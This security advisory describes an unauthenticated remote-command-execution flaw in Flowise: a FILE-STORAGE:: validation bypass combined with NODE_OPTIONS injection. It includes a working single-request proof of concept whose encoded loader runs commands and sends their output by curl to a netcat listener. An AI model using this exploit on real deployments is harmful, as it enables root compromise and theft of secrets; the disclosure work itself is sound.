CVE-2026-41268

Description

### Summary Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the `FILE-STORAGE::` keyword combined with a `NODE_OPTIONS` environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance. ### Details The vulnerability is in a validation check within the `replaceInputsWithConfig` function within `packages/server/src/utils/index.ts`. The check for `FILE-STORAGE::` was intended to handle file-type inputs but has three issues: 1. Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config } 2. No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig. 3. Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized. **Vulnerable Code (`FILE-STORAGE::` bypass):** ```typescript // packages/server/src/utils/index.ts, line 1192-1198 // Skip if it is an override "files" input, such as pdfFile, txtFile, etc if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) { // pass <-- BYPASSES ALL VALIDATION } else if (!isParameterEnabled(flowNodeData.label, config)) { // Only proceed if the parameter is enabled continue } ``` This bypass allows an attacker to override the `mcpServerConfig` and inject a malicious `NODE_OPTIONS` value. The `Custom MCP` node's environment variable blocklist does not include `NODE_OPTIONS`, enabling an attacker to use the `--experimental-loader` to execute arbitrary JavaScript code before the main process starts. **Vulnerable Code (`NODE_OPTIONS` not blocked):** ```typescript // packages/components/nodes/tools/MCP/core.ts, line 248-254 const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH'] for (const [key, value] of Object.entries(env)) { if (dangerousEnvVars.includes(key)) { throw new Error(`Environment variable '${key}' modification is not allowed`) } } ``` ### Requirements **API Override Enabled** The chatflow must have "API Override" toggled ON in Chatflow Configuration. **Public Chatflow** The chatflow must be shared publicly. **MCP Node** The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed). Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware. Common use cases that necessitate enabling this feature include: * **Session Management:** Passing a unique `sessionId` or `chatId` for each user to maintain separate conversation histories. * **User-Specific Variables:** Injecting user data such as name, preferences, or role into prompts to create personalized experiences. * **Dynamic Tool Selection:** Allowing users to specify which data sources or APIs to query based on their needs. * **Multi-Tenant Applications:** Supporting different configurations for each customer or organization without deploying separate chatflows. * **A/B Testing:** Evaluating different prompts or models in a live environment. ### Setup To reproduce the vulnerability, follow these steps: **Step 1: Start Flowise Instance** ```bash docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest ``` **Step 2: Configure a Public Chatflow with MCP Tool** 1. Navigate to `http://localhost:3000` and create an account. 2. Create a new chatflow. 3. Add a `Custom MCP` node and a `Custom JS Function` node. 4. Connect the `Custom MCP` output to the `Custom JS Function`'s tools input. 5. Configure the `Custom JS Function` to be an `Ending Node` with the code: `return $tools ? "Tools loaded" : "No tools";` 6. Configure the `Custom MCP` with the MCP Server Config: `{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}` 7. Save the chatflow and note the `chatflowId` from the URL. 8. In Chatflow Configuration, **enable API Override** and make the chatflow **Public**. ### PoC Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener: #### Step 1: Setup Listener ```bash # Start netcat listener to receive transmitted data # Note: If testing locally, run this in a separate terminal nc -lvnp 5000 echo "Listener started on port 5000..." ``` #### Step 2: Trigger Exploit ```bash #!/bin/bash CHATFLOW_ID="ABC-123-..." TARGET="http://localhost:3000" LISTENER_IP="172.17.0.1" # Docker local IP for testing # Payload: Execute commands and transmit output to remote listener LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};' ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n') # Construct the crafted MCP config CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}' CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g') # Single request triggers RCE curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \ -H "Content-Type: application/json" \ -d "{ \"question\": \"trigger\", \"overrideConfig\": { \"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\" } }" ``` #### Step 3: Verify Command Execution ``` # Check the listener output Connection received... POST / HTTP/1.1 Host: 172.17.0.1:5000 User-Agent: curl/8.17.0 Accept: */* Content-Length: 214 Content-Type: application/x-www-form-urlencoded uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) / bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var ``` ### Impact This vulnerability allows for: * **Full Container Compromise:** Arbitrary command execution as the root user. * **Data Exfiltration:** Access to all secrets, credentials, and user data within the container. * **Lateral Movement:** A pivot point for attacking internal networks and other connected systems. The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability. ### Credit Jeremy Brown